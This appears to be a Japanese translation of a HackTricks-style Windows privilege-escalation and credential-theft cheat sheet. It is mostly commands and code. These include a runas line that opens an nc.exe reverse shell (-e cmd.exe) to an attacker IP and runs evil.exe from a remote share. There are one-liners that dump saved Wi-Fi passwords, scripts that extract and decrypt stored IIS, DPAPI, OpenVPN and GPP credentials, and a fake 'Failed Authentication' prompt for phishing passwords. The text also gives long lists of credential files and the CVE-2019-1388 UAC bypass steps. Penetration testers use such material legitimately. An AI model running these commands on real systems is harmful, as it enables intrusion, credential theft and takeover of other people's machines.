reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

資格情報マネージャー / Windows Vault

https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault は、Windows がユーザーを自動的にログインさせるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を格納します。最初のインスタンスでは、これはユーザーが Facebook の資格情報、Twitter の資格情報、Gmail の資格情報などを保存し、ブラウザ経由で自動的にログインできるようになると思われるかもしれませんが、実際にはそうではありません。

Windows Vault は、Windows がユーザーを自動的にログインさせるための資格情報を格納し、つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な Windows アプリケーションが、ユーザーがユーザー名とパスワードを毎回入力する代わりに、この資格情報マネージャーWindows Vault を利用して提供された資格情報を使用できるようになります。

アプリケーションが資格情報マネージャーとやり取りしない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、アプリケーションが Vault を利用する場合、デフォルトのストレージ Vault からそのリソースの資格情報を取得するように、資格情報マネージャーと通信する必要があります。

cmdkey を使用して、マシンに保存されている資格情報をリストアップします。

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

次に、保存された資格情報を使用するためにrunas/savecredオプションとともに使用できます。次の例は、SMB共有を介してリモートバイナリを呼び出しています。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runasを使用して提供された資格情報を使う。

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

注意してください。mimikatz、lazagne、credentialfileviewVaultPasswordView、またはEmpire Powershells moduleから情報を取得できます。

DPAPI

Data Protection API (DPAPI) は、データの対称暗号化のための方法を提供し、主にWindowsオペレーティングシステム内で非対称秘密鍵の対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムの秘密をエントロピーに大きく寄与させます。

DPAPIは、ユーザーのログイン秘密から派生した対称鍵を使用してキーを暗号化することを可能にします。システム暗号化を含むシナリオでは、システムのドメイン認証秘密を利用します。

DPAPIを使用して暗号化されたユーザーRSAキーは、%APPDATA%\Microsoft\Protect\{SID}ディレクトリに保存されます。ここで{SID}はユーザーのセキュリティ識別子を表します。DPAPIキーは、通常64バイトのランダムデータで構成される、ユーザーの秘密鍵を保護するマスターキーと同じファイル内に共存していますこのディレクトリへのアクセスは制限されており、CMDのdirコマンドを使用してその内容をリストアップすることはできませんが、PowerShellを介してリストアップすることができます

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

以下は、適切な引数(/pvkまたは/rpc)を使用して、mimikatzモジュール dpapi::masterkeyを使用して復号化できます。

通常、マスターパスワードで保護された資格情報ファイルは次の場所にあります:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

mimikatzモジュール dpapi::cred を適切な /masterkey と共に使用して復号化できます。
sekurlsa::dpapi モジュールを使用してroot権限であればメモリから多くの DPAPIマスターキー を抽出できます。

{% content-ref url="dpapi-extracting-passwords.md" %} dpapi-extracting-passwords.md {% endcontent-ref %}

PowerShell資格情報

PowerShell資格情報 は、しばしばスクリプトや自動化タスクで使用され、暗号化された資格情報を便利に保存する手段として使用されます。これらの資格情報は通常、DPAPI を使用して保護されており、通常は作成されたコンピューター上の同じユーザーによってのみ復号化できます。

ファイルに含まれるPS資格情報を復号化するには、以下を実行できます

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

保存されたRDP接続

HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\で見つけることができます。
そしてHKCU\Software\Microsoft\Terminal Server Client\Servers\にもあります。

最近実行されたコマンド

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモートデスクトップ資格情報マネージャー

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Mimikatzdpapi::rdgモジュールを適切な/masterkeyと共に使用して、.rdgファイルを復号化します。
Mimikatzのsekurlsa::dpapiモジュールを使用して、メモリから多くのDPAPIマスターキーを抽出できます。

Sticky Notes

WindowsワークステーションでStickyNotesアプリを使用して、パスワードやその他の情報を保存する人が多いですが、これがデータベースファイルであることに気づいていません。このファイルはC:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqliteにあり、常に検索して調査する価値があります。

AppCmd.exe

AppCmd.exeからパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。
AppCmd.exe%systemroot%\system32\inetsrv\ディレクトリにあります。
このファイルが存在する場合、いくつかの資格情報が構成されており、回復できる可能性があります。

このコードはPowerUPから抽出されました。

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe が存在するかどうかを確認します。
インストーラーは SYSTEM 権限で実行されます。多くのインストーラーは DLL Sideloading に脆弱 であることがあります(情報は https://github.com/enjoiz/Privesc から取得)。

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファイルとレジストリ(資格情報)

Puttyの資格情報

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH ホストキー

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

レジストリ内のSSHキー

SSHの秘密鍵は、レジストリキー HKCU\Software\OpenSSH\Agent\Keys 内に保存されることがありますので、そこに興味深い情報がないかをチェックする必要があります。

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

そのパス内にエントリが見つかった場合、おそらく保存されたSSHキーである可能性があります。これは暗号化されていますが、https://github.com/ropnop/windows_sshagent_extract を使用して簡単に復号化できます。
このテクニックに関する詳細はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

ssh-agent サービスが実行されていない場合、自動的に起動するようにしたい場合は、以下を実行してください:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

{% hint style="info" %} このテクニックはもはや有効ではないようです。いくつかのSSHキーを作成し、ssh-addでそれらを追加してSSH経由でマシンにログインしようとしました。レジストリHKCU\Software\OpenSSH\Agent\Keysは存在せず、procmonは非対称キー認証中にdpapi.dllの使用を特定しませんでした。 {% endhint %}

Unattended files

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

あなたはmetasploitを使用してこれらのファイルを検索することもできます: post/windows/gather/enum_unattend

例の内容:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM バックアップ

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

クラウド資格情報

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

SiteList.xmlというファイルを検索します。

キャッシュされたGPPパスワード

以前は、Group Policy PreferencesGPPを使用して複数のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。ただし、この方法には重大なセキュリティ上の欠陥がありました。まず第一に、SYSVOLに保存されているXMLファイルとしてのGroup Policy ObjectsGPOには、どのドメインユーザーでもアクセスできるようになっていました。第二に、これらのGPP内のパスワードは、公に文書化されたデフォルトキーを使用してAES256で暗号化されていましたが、認証されたユーザーであれば誰でも復号化できました。これは、ユーザーが昇格権を取得する可能性があるため、深刻なリスクをもたらしました。

このリスクを軽減するために、"cpassword"フィールドが空でないローカルにキャッシュされたGPPファイルをスキャンする機能が開発されました。そのようなファイルを見つけると、その機能はパスワードを復号化してカスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPとファイルの場所に関する詳細が含まれており、このセキュリティ上の脆弱性の特定と修復を支援します。

これらのファイルを検索するためにC:\ProgramData\Microsoft\Group Policy\historyまたは_W Vista以前の場合は_C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\historyに検索します:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPasswordを復号化するには:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexecを使用してパスワードを取得する方法:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

IIS Web Config

IIS Web Config

Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Web.configの資格情報の例

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPNの資格情報

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

ログ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

資格情報の要求

ユーザーに、自分の資格情報または別のユーザーの資格情報を入力するように求めることができます(クライアントに直接資格情報を要求することは非常に危険であることに注意してください):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

資格情報を含む可能性のあるファイル名

以前にパスワードクリアテキストまたはBase64で含んでいたと知られているファイル

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

提案されたすべてのファイルを検索します:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

リサイクルビン内の資格情報

Binをチェックして、中にある資格情報を探すべきです

複数のプログラムに保存されたパスワードを回復するには、次を使用できます: http://www.nirsoft.net/password_recovery_tools.html

レジストリ内部

資格情報を持つ可能性のある他のレジストリキー

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

レジストリからopensshキーを抽出します。

ブラウザの履歴

ChromeまたはFirefox からのパスワードが保存されているdbsをチェックする必要があります。
また、ブラウザの履歴、ブックマーク、お気に入りをチェックして、そこにパスワードが保存されている可能性があります。

ブラウザからパスワードを抽出するためのツール:

COM DLLの上書き

Component Object Model (COM) は、Windowsオペレーティングシステム内に組み込まれた技術であり、異なる言語のソフトウェアコンポーネント間の相互通信を可能にします。各COMコンポーネントはクラスIDCLSIDによって識別され、各コンポーネントは1つ以上のインターフェースを介して機能を公開し、インターフェースIDIIDによって識別されます。

COMクラスとインターフェースは、HKEY_CLASSES_ROOT\CLSID および HKEY_CLASSES_ROOT\Interface の下にレジストリで定義されています。このレジストリは、HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes をマージして作成される HKEY_CLASSES_ROOT です。

このレジストリのCLSIDsの中には、InProcServer32 という子レジストリがあり、DLL を指すデフォルト値と、Apartment(シングルスレッド)、Free(マルチスレッド)、Both(シングルまたはマルチ)、またはNeutral(スレッドニュートラル)と呼ばれる値を含んでいます。

基本的に、実行されるDLLのいずれかを上書きできれば、別のユーザーによって実行される場合には、特権を昇格できます。

攻撃者がCOMハイジャックを持続性メカニズムとしてどのように使用するかを学ぶには、以下を確認してください:

{% content-ref url="com-hijacking.md" %} com-hijacking.md {% endcontent-ref %}

ファイルとレジストリ内の汎用パスワード検索

ファイル内容の検索

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定のファイル名を持つファイルを検索します

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レジストリを検索してキー名やパスワードを探す

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

パスワードを検索するツール

MSF-Credentials Plugin は私が作成したmsfプラグインで、被害者の中で資格情報を検索するmetasploitのすべてのPOSTモジュールを自動的に実行します。
Winpeas は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。
Lazagne はシステムからパスワードを抽出するための別の優れたツールです。

ツールSessionGopher は、このデータを平文で保存するいくつかのツールPuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDPセッションユーザー名、およびパスワードを検索します。

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

リークしたハンドラ

SYSTEMとして実行されているプロセスが、完全なアクセスで新しいプロセスを開く(OpenProcess())とします。同じプロセスが低い特権で新しいプロセスCreateProcess()を作成し、ただしメインプロセスのすべてのオープンハンドルを継承します。
その後、低い特権を持つプロセスに完全なアクセス権がある場合OpenProcess()で作成された特権プロセスへのオープンハンドルを取得し、シェルコードをインジェクトできます。
この脆弱性を検出および悪用する方法についての詳細はこちらを参照してください。
異なる権限レベルで継承されたプロセスおよびスレッドのオープンハンドラをテストおよび悪用する方法についての詳細な説明はこちら

名前付きパイプクライアントの権限昇格

パイプとして参照される共有メモリセグメントは、プロセス間の通信とデータ転送を可能にします。

WindowsにはNamed Pipesと呼ばれる機能があり、関連のないプロセスでもデータを共有でき、異なるネットワークを介して通信できます。これは、名前付きパイプサーバ名前付きパイプクライアントとして定義された役割を持つクライアント/サーバアーキテクチャに似ています。

クライアントがパイプを介してデータを送信すると、パイプを設定したサーバは、必要なSeImpersonate権限を持っていれば、クライアントアイデンティティを引き継ぐことができます。確立したパイプを介してやり取りするプロセスの特権を持つプロセスを特定し、そのプロセスが設定したパイプとやり取りすると、そのプロセスのアイデンティティを採用することで、高い特権を取得する機会が提供されます。このような攻撃を実行する手順については、こちらこちらで役立つガイドが見つかります。

また、次のツールを使用すると、burpなどのツールを使用して名前付きパイプ通信を傍受できます:https://github.com/gabriel-sztejnworcel/pipe-intercept また、このツールを使用すると、すべてのパイプをリスト化して特権昇格を見つけることができますhttps://github.com/cyberark/PipeViewer

その他

パスワードを監視するためのコマンドラインの監視

ユーザーとしてシェルを取得すると、スケジュールされたタスクや他のプロセスが実行され、コマンドラインで資格情報が渡される可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いがあれば出力します。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

プロセスからパスワードを盗む

低特権ユーザーからNT\AUTHORITY SYSTEMへCVE-2019-1388/ UAC バイパス

グラフィカルインターフェースにアクセスできる場合コンソールまたはRDP経由かつUACが有効になっている場合、一部のMicrosoft Windowsバージョンでは、特権のないユーザーからターミナルや他のプロセス「NT\AUTHORITY SYSTEM」を実行することが可能です。

これにより、特権を昇格させ、同時にUACをバイパスすることができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは、Microsoftによって署名されています。

影響を受けるシステムの一部は次のとおりです:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

次の手順を実行する必要があります。

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

以下は、ハッキング技術に関する本の内容です。翻訳された日本語のテキストを提供します。MarkdownとHTMLの構文を保持してください。

管理者権限から高い整合性レベルへの昇格 / UAC バイパス

整合性レベルについて学ぶには、これを読んでください:

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

次に、UACおよびUACバイパスについて学ぶには、これを読んでください:

{% content-ref url="../authentication-credentials-uac-and-efs/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}

高い整合性からシステムへ

新しいサービス

すでに高い整合性プロセスで実行している場合、新しいサービスを作成および実行するだけで、SYSTEMへの昇格が簡単になります。

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

ハイインテグリティプロセスからAlwaysInstallElevatedレジストリエントリを有効にして、.msiラッパーを使用して逆シェルをインストールすることができます。
関連するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。

High + SeImpersonate権限をSystemに

コードはこちらで見つけることができます

SeDebug + SeImpersonateからFull Token権限へ

これらのトークン権限を持っている場合おそらく既にHigh Integrityプロセスで見つけることができるでしょう、SeDebug権限を持つほとんどのプロセス保護されていないプロセスではない開くことができ、プロセスのトークンをコピーしてそのトークンで任意のプロセスを作成することができます。
このテクニックを使用すると、通常はすべてのトークン権限を持つSYSTEMとして実行されているプロセスが選択されますはい、すべてのトークン権限を持たないSYSTEMプロセスを見つけることができます
提案されたテクニックを実行するコードの例はこちらで見つけることができます

Named Pipes

このテクニックは、getsystemでエスカレーションするためにmeterpreterによって使用されます。このテクニックは、パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用することで構成されます。その後、SeImpersonate権限を使用してパイプクライアント(サービス)のトークンを偽装することができるサーバーは、SYSTEM権限を取得できます。
名前付きパイプについて詳しく学びたい場合は、こちらを読んでください
ハイインテグリティからSystemへの移行方法の例については、こちらを読んでください

Dll Hijacking

SYSTEMで実行されているプロセスによってロードされているdllをハイジャックすることができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の特権昇格にも役立ちます。さらに、ハイインテグリティプロセスからは、dllをロードするために使用されるフォルダに書き込み権限があるため、はるかに簡単に達成できます。
Dllハイジャックについて詳しく学ぶことができます

管理者またはネットワークサービスからSystemへ

{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}

LOCAL SERVICEまたはNETWORK SERVICEからフル権限へ

参照: https://github.com/itm4n/FullPowers

その他のヘルプ

Static impacket binaries

便利なツール

Windowsローカル特権昇格ベクターを探すための最適なツール: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- 設定ミスと機密ファイルをチェック(こちらを確認)。検出されました。
JAWS -- いくつかの可能な設定ミスをチェックし、情報を収集(こちらを確認)。
privesc -- 設定ミスをチェック
SessionGopher -- PuTTY、WinSCP、SuperPuTTY、FileZilla、およびRDPの保存されたセッション情報を抽出します。ローカルで -Thorough を使用してください。
Invoke-WCMDump -- 資格情報をCredential Managerから抽出します。検出されました。
DomainPasswordSpray -- 収集したパスワードをドメイン全体にスプレーします
Inveigh -- InveighはPowerShell ADIDNS/LLMNR/mDNS/NBNSスプーファーおよび中間者ツールです。
WindowsEnum -- 基本的な特権昇格Windows列挙
Sherlock ~~~~ -- 既知の特権昇格脆弱性を検索Watson用に非推奨
WINspect -- ローカルチェック (管理者権限が必要)

Exe

Watson -- 既知の特権昇格脆弱性を検索VisualStudioを使用してコンパイルする必要があります事前コンパイル済み)
SeatBelt -- ホストを列挙し、設定ミスを検索します(特権昇格よりも情報収集ツール)(コンパイルが必要) 事前コンパイル済み)
LaZagne -- 多くのソフトウェアから資格情報を抽出しますgithubに事前コンパイルされたexeがあります
SharpUP -- PowerUpのC#へのポート
Beroot ~~~~ -- 設定ミスをチェックgithubに事前コンパイルされた実行可能ファイルがあります。Win10ではうまく動作しません。
Windows-Privesc-Check -- 可能な設定ミスをチェックpythonからのexe。Win10ではうまく動作しません。

Bat

winPEASbat -- この投稿に基づいて作成されたツール適切に機能させるためにはaccesschkが必要ありませんが、使用できます

Local

Windows-Exploit-Suggester -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨しますローカルpython
Windows Exploit Suggester Next Generation -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨しますローカルpython

Meterpreter

multi/recon/local_exploit_suggestor

プロジェクトを正しい.NETのバージョンを使用してコンパイルする必要がありますこちらを参照)。被害者ホストでインストールされている.NETのバージョンを確認するには、次の操作を行います

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert